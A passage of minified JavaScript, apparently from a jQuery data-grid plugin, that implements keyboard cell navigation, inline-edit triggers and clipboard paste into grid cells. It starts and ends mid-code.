EAAGlN,EAAEqnC,KAAOgjB,EAAS1sB,IACrB0sB,EAAW0hD,EAAYC,EAAMC,CAAI,EAC7B/+F,EAAGlN,EAAEo5C,OAAUiR,EAAShvB,KAAOnuB,EAAGlN,EAAEqnC,OAAUgjB,EAAS1sB,IAE1D,MAAO,CAAA,EAOT,OAJa,IAATsuE,GACHxsG,GAAEyN,CAAE,EAAEyG,OAAO,eAAgBzG,EAAGqb,KAAK8hC,EAAShvB,KAAKl3B,GAAI,CAAA,EAAO,KAAM,CAAA,CAAK,EAGnEkmD,CACR,CACA,SAASiiD,EAAW18F,GACnB,IAAI28F,EAAUr/F,EAAGlN,EAAE4kB,KAAM1T,EAAMhE,EAAGlN,EAAEimB,SAQ/B/Y,EAAGlN,EAAE4kB,QAFT2nF,EADar7F,GAFbq7F,GAFDA,GAAoB38F,IACL,EACJ,EAEP28F,GACOr7F,EAEQq7F,KAGnBr/F,EAAGlN,EAAE4kB,KAAO2nF,EACZr/F,EAAG8G,KAAKue,SAAS,EAClB,CACA,IAAIi6E,EAA4B/sG,GAAEC,MAAM+rG,sBAAsBn9F,KAAK,EAwB/Dm+F,GAjBJhtG,GAAEyN,CAAE,EAAEgrE,WAAW,UAAU,EAC3Bz4E,GAAEyN,CAAE,EAAEmO,GAAG,sCAAuC,SAAU3R,GAEzDjK,GAAE,QAASyN,CAAE,EAAEokB,MAAM,EAAE7lB,KAAK,8CAA8C+gG,EAA0B,IAAI,EAAErhG,KAAK,WAAY,CAAC,CAAC,EAC7H1L,GAAE,QAASyN,CAAE,EAAEokB,MAAM,EAAE7lB,KAAK,uBAAuB,EAAEysE,WAAW,UAAU,EACzD92E,KAAAA,IAAd8L,EAAGlN,EAAEo5C,MAAoCh4C,KAAAA,IAAd8L,EAAGlN,EAAEqnC,MAC/Bn6B,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,OAChB35C,GAAEyN,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMt1C,MAAMoJ,EAAGlN,EAAEqnC,KAAK,EACnCl8B,KAAK,WAAY,CAAC,EAClB8M,MAAO,WAAaxY,GAAEgH,IAAI,EAAEkgC,SAASrpB,CAAS,CAAE,CAAC,EACjDovF,KAAM,WAAcjtG,GAAEgH,IAAI,EAAEsO,YAAYuI,CAAS,CAAE,CAAC,CAGxD,CAAC,EACDpQ,EAAGlN,EAAEo5C,KAAO,EACZlsC,EAAGlN,EAAEqnC,KAAO5nC,GAAEC,MAAM61D,mBAAoBroD,CAAG,EAE9B,GAAGy/F,EAAS,EACrBC,EAAUntG,CAAAA,CAAAA,GAAEC,MAAMW,WAAY4H,EAAE4jG,gBAAiB,GAAI5jG,EAAE4jG,iBACvDD,EAAansG,CAAAA,CAAAA,GAAEC,MAAMW,WAAW4H,EAAE2jG,UAAU,GAAI3jG,EAAE2jG,WACtDnsG,GAAEyN,CAAE,EAAEmO,GAAG,UAAW,SAAS3R,GAC5B,IAAGwD,CAAAA,EAAGlN,EAAE6sG,oBAAkD,CAAA,IAA5B3/F,EAAGlN,EAAE6sG,qBAGhCnjG,CAAAA,EAAEm2B,OAAO17B,GAAG2O,WAAW,OAAO5F,EAAGlN,EAAEmE,EAAE,IAGrCynG,CAAAA,GACEA,EAAWhrG,KAAKsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,CAAC,GADvE,CAKA,IAAgC2gD,EAChC,OADU3gD,EAAE2kD,OAAS3kD,EAAEmS,SAEtB,KAAK,GACJwuC,EAAWgiD,EAAmB,EAAG,CAAC,CAAC,EACnCI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJijB,EAAWgiD,EAAmB,EAAG,CAAC,EAClCI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJijB,EAAWgiD,EAAmB,CAAC,EAAG,CAAC,EACnCI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJijB,EAAWgiD,EAAmB,EAAG,CAAC,EAClCI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GAEHqlE,EADE/iG,EAAEojG,QACO,EAEA5/F,EAAGlN,EAAEo5C,KAEjBuzD,EAAW,EACXjjG,EAAE09B,eAAe,EACjB,MACD,KAAK,GAEHqlE,EADE/iG,EAAEojG,QACO5/F,EAAGqb,KAAK9mB,OAAS,EAEjByL,EAAGlN,EAAEo5C,KAEjBuzD,EAAWz/F,EAAGlN,EAAEqY,SAAS5W,OAAS,EAClCiI,EAAE09B,eAAe,EACjB,MACD,KAAK,GAEJklE,EAAU,CAAC,CAAE,EACbK,EAAWz/F,EAAGlN,EAAEqnC,KAChBolE,EAAWv/F,EAAGlN,EAAEo5C,KAChB1vC,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJklE,EAAU,CAAE,EACZK,EAAWz/F,EAAGlN,EAAEqnC,MAChBolE,EAAWv/F,EAAGlN,EAAEo5C,MACFlsC,EAAGqb,KAAK9mB,OAAO,IAC5BgrG,EAAWv/F,EAAGqb,KAAK9mB,OAAO,EAC1ByL,EAAGlN,EAAEo5C,KAAOlsC,EAAGqb,KAAK9mB,OAAO,GAE5BiI,EAAE09B,eAAe,EACjB,MACD,KAAK,GAKJ,OAJA,KAAI3nC,GAAEC,MAAMW,WAAY4H,EAAE0jG,WAAY,IACrC1jG,EAAE0jG,YAAY/qG,KAAMsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,CAAC,EACtEA,EAAE09B,eAAe,IAGnB,KAAK,IACJ,IACC3nC,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM,CAAA,EAAM39B,CAAC,CAC3C,CAAV,MAAMoO,IACR,MACD,QAIC,OAHA,KAAI80F,GACHA,EAAQhsG,KAAKsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,CAAC,EAGlE,CACAwQ,WAAW,WACVza,GAAEyN,CAAE,EAAEyG,OAAO,gBAAiB84F,EAAUE,EAAUh5E,EAAUrW,CAAS,CACtE,EAAE,EAAE,CAjFJ,CAkFD,CAAC,EACD7d,GAAEyN,CAAE,EAAEmO,GAAG,sCAAsC,WAC9C,MAAO,CAAA,CACR,CAAC,EACD5b,GAAEyN,CAAE,EAAEmO,GAAG,iCAAkC,SAAS0xF,EAAK5oG,EAAI0lD,EAAOmjD,EAAQtjG,GAC3E,IASI2xB,EATA9mB,EAAK7K,EAAEm2B,OACI,EAAZ3yB,EAAGlN,EAAEo5C,MAAwB,GAAZlsC,EAAGlN,EAAEqnC,MACxB5nC,GAAEyN,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMt1C,MAAMoJ,EAAGlN,EAAEqnC,KAAK,EAAEl8B,KAAK,WAAY,CAAC,CAAC,GAExD1L,GAAE8U,CAAE,EAAE7Q,GAAG,IAAI,GAAKjE,GAAE8U,CAAE,EAAE7Q,GAAG,IAAI,GAAK6Q,EAAGpQ,GAAG2O,WAAW,OAAO5F,EAAGlN,EAAEmE,EAAE,KACrE+I,EAAGlN,EAAEqnC,KAAO9yB,EAAGxQ,UAIZs3B,EAAM57B,GAAE8U,CAAE,EAAE5Q,QAAQ,WAAW,EACnCuJ,EAAGlN,EAAEo5C,KAAO/d,EAAI,GAAGiZ,SACnB70C,GAAE8U,CAAE,EAAEpJ,KAAK,WAAY,CAAC,EACtBw7B,SAASrpB,CAAS,EAClBrF,MAAM,EACNy0F,KAAK,WAAWjtG,GAAEgH,IAAI,EAAEsO,YAAYuI,CAAS,CAAE,CAAC,EACnD,CAAC,EACDpQ,EAAGlN,EAAEyuB,SAAW,CAAA,CACjB,CAAC,CACF,EACAw+E,cAAgB,SAAWjtG,GAC1B,IAAIiI,EAAIxI,GAAEI,OAAO,CAChBqtG,iBAAmB,KACnBrB,iBAAmB,KACnBsB,mBAAqB,KACrBC,aAAe,CACd,IAAK,IAAI,IAAK,IAAK,IAAI,IAAI,IAAI,IAAI,IAAI,IAAI,IAAI,IAAK,IAAI,IAAI,IAAK,IAAK,IAAK,IAAI,IAAI,IAAI,IAAI,IAAI,IAAI,IAAI,IAAI,KAAK,IAAI,KAErHC,WAAa,CAAA,EACbzB,WAAa,IACd,EAAG5rG,GAAK,EAAE,EAEV,OAAOyG,KAAKuI,KAAK,WAChB,IAAI9B,EAAKzG,KACTktB,EAAWl0B,GAAEC,MAAM8T,UAAU,YAAY,EACzC8J,EAAYqW,EAASzmB,EAAGlN,EAAEkd,QAAQ,UAAU,YAAa,CAAA,CAAI,EAGzDowF,GAFJpgG,EAAGlN,EAAEinD,MAAQ,CAAA,EAEE,CACd6kD,YAAc,SAAUzwE,EAAKsC,GAC7B,MACC,CAACr8B,MAAM+5B,CAAG,GACV,CAAC/5B,MAAMq8B,CAAG,GACH,GAAPtC,GACO,GAAPsC,GACAzwB,EAAGqb,KAAK9mB,QACR45B,EAAMnuB,EAAGqb,KAAK9mB,QACdk8B,EAAMzwB,EAAGlN,EAAEqY,SAAS5W,MAErB,EACAsqG,YAAa,SAAWC,EAAMC,GAC9B,IAAI5wE,EAAMnuB,EAAGlN,EAAEo5C,KAAO6yD,EAClBtuE,EAAMzwB,EAAGlN,EAAEqnC,KAAO2kE,EAClBG,EAAWj/F,EAAGqb,KAAK9mB,OACnB2qG,EAAuB,IAATJ,EACduB,EAAYrgG,EAAGlN,EAAE+X,cAAgB7K,EAAGlN,EAAEy6C,eAAiB,EAAI,EAC/D,MAAK0xD,CAAAA,CAAAA,IAIDD,EAAWh/F,EAAGlN,EAAEqY,SAAS5W,OACzB2qG,IAEFzuE,EADGA,EAAM4vE,EACHA,EAEH5vE,KAAQuuE,IACXvuE,EAAMuuE,GAGHE,GACCl/F,EAAGqb,KAAK8S,IAAe,GAAPsC,GAAY,CAACzwB,EAAGqb,KAAK8S,GAAKv3B,MAAM65B,IACnDtC,CAAG,GAGD50B,KAAKqlG,YAAYzwE,EAAKsC,CAAG,EACtB,CACNtC,IAAKA,EACLsC,IAAKA,CACN,EACWl3B,CAAAA,CAAAA,KAAKqlG,YAAY5+F,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,IAAI,GACzC,CACNhM,IAAKnuB,EAAGlN,EAAEo5C,KACVzb,IAAKzwB,EAAGlN,EAAEqnC,IACX,EAID,EACAglE,mBAAqB,SAAUL,EAAMC,GACpC,IAAI5hD,EAAW5jD,KAAKslG,YAAaC,EAAMC,CAAI,EAC5C,GAAI,CAAC5hD,EACJ,MAAO,CAAA,EAGR,KAAQ5qD,GAAEyN,EAAGqb,KAAK8hC,EAAShvB,KAAKv3B,MAAMumD,EAAS1sB,IAAI,EAAEj6B,GAAG,SAAS,GAIhE,GAHAwJ,EAAGlN,EAAEo5C,KAAOiR,EAAShvB,IACrBnuB,EAAGlN,EAAEqnC,KAAOgjB,EAAS1sB,IACpB0sB,EAAW5jD,KAAKslG,YAAYC,EAAMC,CAAI,EACnC/+F,EAAGlN,EAAEo5C,OAAUiR,EAAShvB,KAAOnuB,EAAGlN,EAAEqnC,OAAUgjB,EAAS1sB,IAE1D,MAAO,CAAA,EAOT,OAJa,IAATsuE,GACHxsG,GAAEyN,CAAE,EAAEyG,OAAO,eAAgBzG,EAAGqb,KAAK8hC,EAAShvB,KAAKl3B,GAAI,CAAA,EAAO,KAAM,CAAA,CAAK,EAGnEkmD,CACP,EACAiiD,SAAW,SAAW18F,GACtB,IAAI28F,EAAUr/F,EAAGlN,EAAE4kB,KAAM1T,EAAMhE,EAAGlN,EAAEimB,SAQ/B/Y,EAAGlN,EAAE4kB,QAFT2nF,EADar7F,GAFbq7F,GAFDA,GAAoB38F,IACL,EACJ,EAEP28F,GACOr7F,EAEQq7F,KAGnBr/F,EAAGlN,EAAE4kB,KAAO2nF,EACZr/F,EAAG8G,KAAKue,SAAS,EAClB,CACA,GACIi6E,EAA4B/sG,GAAEC,MAAM+rG,sBAAsBn9F,KAAK,EAyB/Dm+F,GAlBJhtG,GAAEyN,CAAE,EAAEgrE,WAAW,UAAU,EAC3Bz4E,GAAEyN,CAAE,EAAEmO,GAAG,sCAAuC,SAAU3R,GAEzDjK,GAAE,QAASyN,CAAE,EAAEokB,MAAM,EAAE7lB,KAAK,8CAA8C+gG,EAA0B,IAAI,EAAErhG,KAAK,WAAY,CAAC,CAAC,EAC7H1L,GAAE,QAASyN,CAAE,EAAEokB,MAAM,EAAE7lB,KAAK,uBAAuB,EAAEysE,WAAW,UAAU,EACzD92E,KAAAA,IAAd8L,EAAGlN,EAAEo5C,MAAoCh4C,KAAAA,IAAd8L,EAAGlN,EAAEqnC,MAC/Bn6B,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,OAChB35C,GAAEyN,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMt1C,MAAMoJ,EAAGlN,EAAEqnC,KAAK,EACnCl8B,KAAK,WAAY,CAAC,EAClB8M,MAAO,WAAaxY,GAAEgH,IAAI,EAAEkgC,SAASrpB,CAAS,CAAE,CAAC,EACjDovF,KAAM,WAAcjtG,GAAEgH,IAAI,EAAEsO,YAAYuI,CAAS,CAAE,CAAC,CAGxD,CAAC,EACDpQ,EAAGlN,EAAEo5C,KAAO,EACZlsC,EAAGlN,EAAEqnC,KAAO5nC,GAAEC,MAAM61D,mBAAoBroD,CAAG,EAC3CA,EAAGlN,EAAEyuB,SAAW,CAAA,EAEH,GAAGk+E,EAAS,EACrBC,EAAUntG,CAAAA,CAAAA,GAAEC,MAAMW,WAAY4H,EAAE4jG,gBAAiB,GAAI5jG,EAAE4jG,iBACvD2B,EAAU/tG,CAAAA,CAAAA,GAAEC,MAAMW,WAAY4H,EAAEilG,gBAAiB,GAAIjlG,EAAEilG,iBACvDO,EAAQ,IAAIh1F,IAAIxQ,EAAEmlG,YAAY,EAK9BM,EAAgB,CAAA,EAShB9B,GARJ1+F,EAAGygG,iBAAiB,QAAS,SAAUpuE,GACnCmuE,IACEE,GAASruE,EAAMsuE,eAAiB5qG,OAAO4qG,eAAeC,QAAQ,MAAM,EACxEruG,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAMumE,CAAK,EACpDF,EAAgB,CAAA,EAElB,CAAC,EAEgBjuG,CAAAA,CAAAA,GAAEC,MAAMW,WAAW4H,EAAE2jG,UAAU,GAAI3jG,EAAE2jG,YACtDnsG,GAAEyN,CAAE,EAAEmO,GAAG,UAAW,SAAS3R,GAC5B,IAAGwD,CAAAA,EAAGlN,EAAE6sG,oBAAkD,CAAA,IAA5B3/F,EAAGlN,EAAE6sG,qBAGhCnjG,CAAAA,EAAEm2B,OAAO17B,GAAG2O,WAAW,OAAO5F,EAAGlN,EAAEmE,EAAE,IAGrCynG,CAAAA,GACEA,EAAWhrG,KAAKsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,EAAG4jG,CAAQ,GADjF,CAKA,IAAI38F,EAAMjH,EAAE2kD,OAAS3kD,EAAEmS,QACnBkyF,EAAOrkG,EAAEojG,SAAgC,KAARn8F,EAErC,OAAOA,GACN,KAAK,GACJ05C,EAAWijD,EAASjB,mBAAmB,EAAG,CAAC,CAAC,EAC5CI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GACL,KAAK,GACJijB,EAAWijD,EAASjB,mBAAmB,EAAG,CAAC,EAC3CI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJijB,EAAWijD,EAASjB,mBAAmB,CAAC,EAAG,CAAC,EAC5CI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJijB,EAAWijD,EAASjB,mBAAmB,EAAG,CAAC,EAC3CI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EACjB,MACD,KAAK,GAEHqlE,EADE/iG,EAAEojG,QACO,EAEA5/F,EAAGlN,EAAEo5C,KAEjBuzD,EAAWz/F,EAAGlN,EAAE+X,cAAgB7K,EAAGlN,EAAEy6C,eAAiB,EAAI,EAC1D/wC,EAAE09B,eAAe,EACjB,MACD,KAAK,GAEHqlE,EADE/iG,EAAEojG,QACO5/F,EAAGqb,KAAK9mB,OAAS,EAEjByL,EAAGlN,EAAEo5C,KAEjBuzD,EAAWz/F,EAAGlN,EAAEqY,SAAS5W,OAAS,EAClCiI,EAAE09B,eAAe,EACjB,MACD,KAAK,GAEJkmE,EAAShB,SAAU,CAAC,CAAE,EACtBK,EAAWz/F,EAAGlN,EAAEqnC,KAChBolE,EAAWv/F,EAAGlN,EAAEo5C,KAChB1vC,EAAE09B,eAAe,EACjB,MACD,KAAK,GACJkmE,EAAShB,SAAU,CAAE,EACrBK,EAAWz/F,EAAGlN,EAAEqnC,MAChBolE,EAAWv/F,EAAGlN,EAAEo5C,MACFlsC,EAAGqb,KAAK9mB,OAAO,IAC5BgrG,EAAWv/F,EAAGqb,KAAK9mB,OAAO,EAC1ByL,EAAGlN,EAAEo5C,KAAOlsC,EAAGqb,KAAK9mB,OAAO,GAE5BiI,EAAE09B,eAAe,EACjB,MACD,KAAK,EAEHijB,EADG3gD,EAAEsqC,SACMs5D,EAASjB,mBAAmB,CAAC,EAAG,CAAC,EAEjCiB,EAASjB,mBAAmB,EAAG,CAAC,EAG5CI,EAAWpiD,EAAShvB,IACpBsxE,EAAWtiD,EAAS1sB,IACpBj0B,EAAE09B,eAAe,EAClB,MACA,KAAK,IACJ,IACC3nC,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM,CAAA,EAAM39B,EAAG,CAAA,CAAK,EAC7DwD,EAAGlN,EAAEinD,MAAQ,CAAA,CACF,CAAV,MAAMnvC,IACR,MACD,KAAK,EACL,KAAK,GACJ,IAAIk2F,EAAS,CAAA,EAIC,CAAA,KAFbA,EADGR,EACMA,EAAQ5sG,KAAKsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,CAAC,EAEtEskG,IACFvuG,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM,EAAE,EAElD,MACD,KAAK,GACJ,GAAG0mE,EAEF,OADAL,EAAgB,CAAA,EAGjB,MACD,KAAK,GACJ,GAAGK,EAWF,OAVIE,EAAW,CAAA,GAEdA,EADGxuG,GAAEC,MAAMW,WAAY4H,EAAEklG,kBAAmB,EACjCllG,EAAEklG,mBAAmBvsG,KAAKsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,CAAC,EAEpFukG,IAAY/gG,EAAGlN,EAAEsnD,aAChB7nD,GAAEyN,CAAE,EAAEyG,OAAO,UAAWzG,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEqY,SAASnL,EAAGlN,EAAEqnC,MAAM5zB,KAAM,CAAA,CAAK,IAAOvG,EAAGlN,EAAEsnD,YAAYE,UAC3Gt6C,EAAGlN,EAAEo5C,OAAUlsC,EAAGlN,EAAEsnD,YAAYG,UAEpChoD,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAMn6B,EAAGlN,EAAEsnD,YAAYC,QAAQ,EAElE,CAAA,EAER,MACD,QACC,IAAI2mD,EAAW,WAAW/hG,KAAKzC,EAAEiH,GAAG,EAChCkmF,EAAW,WAAW1qF,KAAKzC,EAAEiH,GAAG,EAChCw9F,EAAQ,CAAA,EAWZ,OAVGlmG,EAAEolG,aACJc,EAAQlmG,EAAEolG,WAAWlhG,KAAKzC,EAAEiH,GAAG,IAG7Bu9F,GAAYrX,GAAY4W,EAAM7zF,IAAIlQ,EAAEiH,GAAG,GAAKw9F,IAC9C1uG,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM,CAAA,EAAM39B,EAAG,CAAA,CAAI,EAL7D,KAOIkjG,GACHA,EAAQhsG,KAAKsM,EAAIA,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMj1C,GAAI+I,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAM39B,CAAC,EAGlE,CACAwQ,WAAW,WACVza,GAAEyN,CAAE,EAAEyG,OAAO,gBAAiB84F,EAAUE,EAAUh5E,EAAUrW,CAAS,CACtE,EAAE,EAAE,CAnIJ,CAoID,CAAC,EACD7d,GAAEyN,CAAE,EAAEmO,GAAG,sCAAsC,WAC9C,MAAO,CAAA,CACR,CAAC,EACD5b,GAAEyN,CAAE,EAAEmO,GAAG,iCAAkC,SAAS0xF,EAAK5oG,EAAI0lD,EAAOmjD,EAAQtjG,GAC3E,IAYI2xB,EAZA9mB,EAAK7K,EAAEm2B,OACI,EAAZ3yB,EAAGlN,EAAEo5C,MAAwB,GAAZlsC,EAAGlN,EAAEqnC,MACxB5nC,GAAEyN,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMt1C,MAAMoJ,EAAGlN,EAAEqnC,KAAK,EAAEl8B,KAAK,WAAY,CAAC,CAAC,GAExD1L,GAAE8U,CAAE,EAAE7Q,GAAG,IAAI,GAAKjE,GAAE8U,CAAE,EAAE7Q,GAAG,IAAI,GAAK6Q,EAAGpQ,GAAG2O,WAAW,OAAO5F,EAAGlN,EAAEmE,EAAE,KACrE+I,EAAGlN,EAAEqnC,KAAO9yB,EAAGxQ,UAIbmJ,EAAGlN,EAAE0lB,SAASjkB,QAChBhC,GAAEyN,CAAE,EAAEyG,OAAO,WAAWzG,EAAGlN,EAAE0lB,SAAS,GAAGvhB,GAAG+I,EAAGlN,EAAE0lB,SAAS,GAAGugC,EAAE,EAE5D5qB,EAAM57B,GAAE8U,CAAE,EAAE5Q,QAAQ,WAAW,EACnCuJ,EAAGlN,EAAEo5C,KAAO/d,EAAI,GAAGiZ,SACnB70C,GAAE8U,CAAE,EAAEpJ,KAAK,WAAY,CAAC,EACtBw7B,SAASrpB,CAAS,EAClBrF,MAAM,EACNy0F,KAAK,WAAWjtG,GAAEgH,IAAI,EAAEsO,YAAYuI,CAAS,CAAE,CAAC,EACnD,CAAC,EAAEjC,GAAG,qCAAsC,SAAS0xF,EAAI5oG,EAAIi1C,EAAM/R,EAAM39B,GACxEjK,GAAEyN,CAAE,EAAEyG,OAAO,WAAYylC,EAAM/R,EAAM,CAAA,EAAM39B,EAAG,CAAA,CAAK,EACnDwD,EAAGlN,EAAEinD,MAAQ,CAAA,CACd,CAAC,CACF,CAAC,CACF,EACAmnD,cAAgB,SAAS3B,EAAUE,EAAU0B,EAAIC,GAChD,OAAO7nG,KAAKuI,KAAK,WAChB,IAIA8oE,EAJI5qE,EAAKzG,KACTktB,EAAY06E,GAAK5uG,GAAEC,MAAM8T,UAAU,YAAY,EAC/C8J,EAAagxF,GAAK36E,EAASzmB,EAAGlN,EAAEkd,QAAQ,UAAU,YAAa,CAAA,CAAI,EACnEsvF,EAA4B/sG,GAAEC,MAAM+rG,sBAAsBn9F,KAAK,EAE/D,SAASigG,EAAmBh6F,GAC3B,OAAO9U,GAAE+sG,EAA2Bj4F,CAAE,EAAE,EACzC,CAEgBnT,KAAAA,IAAbqrG,GAAuCrrG,KAAAA,IAAburG,EACxB,CAACrrG,MAAM4L,EAAGlN,EAAEo5C,IAAI,GAAK,CAAC93C,MAAM4L,EAAGlN,EAAEqnC,IAAI,GAAkB,GAAbn6B,EAAGlN,EAAEqnC,OAClDywC,EAAKy2B,EAAkBrhG,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMt1C,MAAMoJ,EAAGlN,EAAEqnC,KAAK,EAEzD5nC,GADGq4E,GAGD5qE,EAAGqb,KAAKrb,EAAGlN,EAAEo5C,MAAMt1C,MAAMoJ,EAAGlN,EAAEqnC,KAF5B,EAAEl8B,KAAK,WAAY,CAAC,CAAC,IAO3BshG,EAAWv/F,EAAGlN,EAAEo5C,KAChBuzD,EAAWz/F,EAAGlN,EAAEqnC,MAEjBolE,EAAWnqG,SAASmqG,EAAU,EAAE,EAChCE,EAAWrqG,SAASqqG,EAAU,EAAE,EAClB,EAAXF,GAA2B,GAAXE,IAClB70B,EAAKy2B,EAAkBrhG,EAAGqb,KAAKkkF,GAAU3oG,MAAM6oG,EAAS,EAEvDltG,GADGq4E,GAMD5qE,EAAGqb,KAAKkkF,GAAU3oG,MAAM6oG,EALtB,EAAExhG,KAAK,WAAY,CAAC,EACvBw7B,SAASrpB,CAAS,EAClBrF,MAAM,EACNy0F,KAAM,WAAcjtG,GAAEgH,IAAI,EAAEsO,YAAYuI,CAAS,CAAG,CAAC,EAQxDpQ,EAAGlN,EAAEo5C,KAAOqzD,EACZv/F,EAAGlN,EAAEqnC,KAAOslE,EAEb,CAAC,CACF,EACA6B,cAAgB,WACf,OAAO/nG,KAAKuI,KAAK,WAChB,IAAI9B,EAAKzG,KAAMinG,EAAgB,CAAA,EAO3BlB,GANJt/F,EAAGlN,EAAEyuB,SAAW,CAAA,EAChBhvB,GAAEyN,CAAE,EAAE/B,KAAK,WAAW,GAAG,EACvBgJ,IAAI,SAAS,EACbA,IAAI,qCAAqC,EACzCA,IAAI,gCAAgC,EACpCA,IAAI,qCAAqC,EACX1U,GAAEC,MAAM+rG,sBAAsBn9F,KAAK,GACnE7O,GAAE,QAAQyN,CAAE,EAAEokB,MAAM,EAAE7lB,KAAK,8CAA8C+gG,EAA0B,IAAI,EAAEt0B,WAAW,UAAU,EAAE/jE,IAAI,OAAO,EAC3I1U,GAAE,QAAQyN,CAAE,EAAEokB,MAAM,EAAE7lB,KAAK,uBAAuB,EAAEN,KAAK,WAAY,CAAC,CAAC,EACvE,IACC+B,EAAGuhG,oBAAoB,QAAS,SAASlvE,GACrCmuE,IACEE,GAASruE,EAAMsuE,eAAiB5qG,OAAO4qG,eAAeC,QAAQ,MAAM,EACxEruG,GAAEyN,CAAE,EAAEyG,OAAO,WAAYzG,EAAGlN,EAAEo5C,KAAMlsC,EAAGlN,EAAEqnC,KAAMumE,CAAK,EACpDF,EAAgB,CAAA,EAElB,EAAG,CAAA,CAAI,CACI,CAAV,MAAMhkG,IACT,CAAC,CACF,EACAglG,eAAiB,SAAU1uG,GAC1B,IAAIiI,EAAIxI,GAAEI,OAAO,CAChB8uG,iBAAmB,IACpB,EAAG3uG,GAAK,EAAE,EACV,OAAOyG,KAAKuI,KAAK,WAChB,IAAI9B,EAAKzG,KAET6W,EADW7d,GAAEC,MAAM8T,UAAU,YAAY,EACpBtG,EAAGlN,EAAEkd,QAAQ,UAAU,YAAa,CAAA,CAAI,EAC7D0xF,EAASnvG,GAAE,SAASyN,EAAGlN,EAAEmE,EAAE,EAAEsH,KAAK,uBAAuB,EAAE6lB,MAAM,EAC7Dq9E,EAAmBlvG,CAAAA,CAAAA,GAAEC,MAAMW,WAAW4H,EAAE0mG,gBAAgB,GAAI1mG,EAAE0mG,iBAElElvG,GAAE,sBAAuBmvG,CAAM,EAAEvzF,GAAG,UAAW,SAAS3R,GACvD,IAAImlG,EAAY3hG,EAAGlN,EAAE0yC,WACjB/hC,EAAMjH,EAAE2kD,OAAS3kD,EAAEmS,QACnBxE,EAAMnK,EAAG8G,KAAKK,QAAQ5S,OAC1B,GAAGktG,CAAAA,GACEA,EAAiB/tG,KAAKsM,EAAI2hG,EAAWnlG,CAAC,EAI3C,OAAQiH,GACP,KAAK,GACJ,GAAkB,GAAfk+F,EAAU,EAAQ,CAEpB,IADAA,CAAS,GACFpvG,GAAEyN,EAAG8G,KAAKK,QAAQw6F,GAAWt6F,EAAE,EAAE7Q,GAAG,SAAS,GAAoB,GAAfmrG,EAAU,GAE/DA,EADHA,EAAAA,EACe,KAIA,GAAbA,IACFpvG,GAAEyN,EAAG8G,KAAKK,QAAQw6F,GAAWt6F,EAAE,EAAE0D,MAAM,EACvCxY,GAAEyN,EAAG8G,KAAKK,QAAQnH,EAAGlN,EAAE0yC,YAAYn+B,EAAE,EAAEpJ,KAAK,WAAY,IAAI,EAC5D+B,EAAGlN,EAAE0yC,WAAam8D,EAClBnlG,EAAE09B,eAAe,EAEnB,CACA,MACD,KAAK,GACJ,GAAGynE,EAAU,EAAIx3F,EAAK,CAErB,IADAw3F,CAAS,GACFpvG,GAAEyN,EAAG8